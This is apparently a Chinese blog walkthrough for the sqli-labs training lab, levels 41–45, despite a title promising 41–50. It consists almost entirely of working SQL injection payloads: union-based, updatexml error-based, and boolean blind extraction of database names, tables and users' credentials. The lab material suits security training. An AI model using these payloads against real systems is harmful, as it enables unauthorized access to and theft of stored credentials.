sqli-labs靶场通关攻略(41-50)

Less-41

 步骤一:查看数据库名

?id=-1 union select 1,2,database()--+

步骤二:查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

步骤三:查看users表中列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤四:查看users表中信息

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

Less-42

步骤一:登陆抓包,发放到重放器

步骤二:查看数据库名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select database())),1)--+

步骤三:查看表名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤四:查看users表中列名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

步骤五:查看users表中信息

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

Less-43

 步骤一:登陆抓包,发放到重放器

步骤二:查看数据库名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select database())),1)--+

步骤三:查看表名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤四:查看users表中列名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

步骤五:查看users表中信息

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

Less-44

步骤一:登陆抓包,发放到重放器

步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注

判断数据库长度大于7 页面图片消失

login_user=1'or 1=1--+&login_password=1000'or length(database())>7--+

判断数据库长度大于8 页面报错 说明数据库长度等于8:

login_user=1'or 1=1--+&login_password=1000'or length(database())>8--+

步骤三:判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>114--+

判断数据库第一位字符的ascii码是否大于115 页面显示报错  说明第一位字符ascii码等于115

login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>115--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤四:查security数据库中第一张表的第一位字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+


login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤五:判断users表中第一个字段的第一位字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+


说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

步骤六:判断username列的第一条数据的第一个字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>67--+

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

Less-45

步骤一:登陆抓包,发放到重放器

步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注

判断数据库长度大于7 页面图片消失

login_user=1')or 1=1--+&login_password=1000')or length(database())>7--+

判断数据库长度大于8 页面报错 说明数据库长度等于8:

login_user=1')or 1=1--+&login_password=1000')or length(database())>8--+

步骤三:判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>114--+

判断数据库第一位字符的ascii码是否大于115 页面显示报错  说明第一位字符ascii码等于115

login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>115--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

步骤四:查security数据库中第一张表的第一位字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+


login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤五:判断users表中第一个字段的第一位字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+


说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

步骤六:判断username列的第一条数据的第一个字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>67--+

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值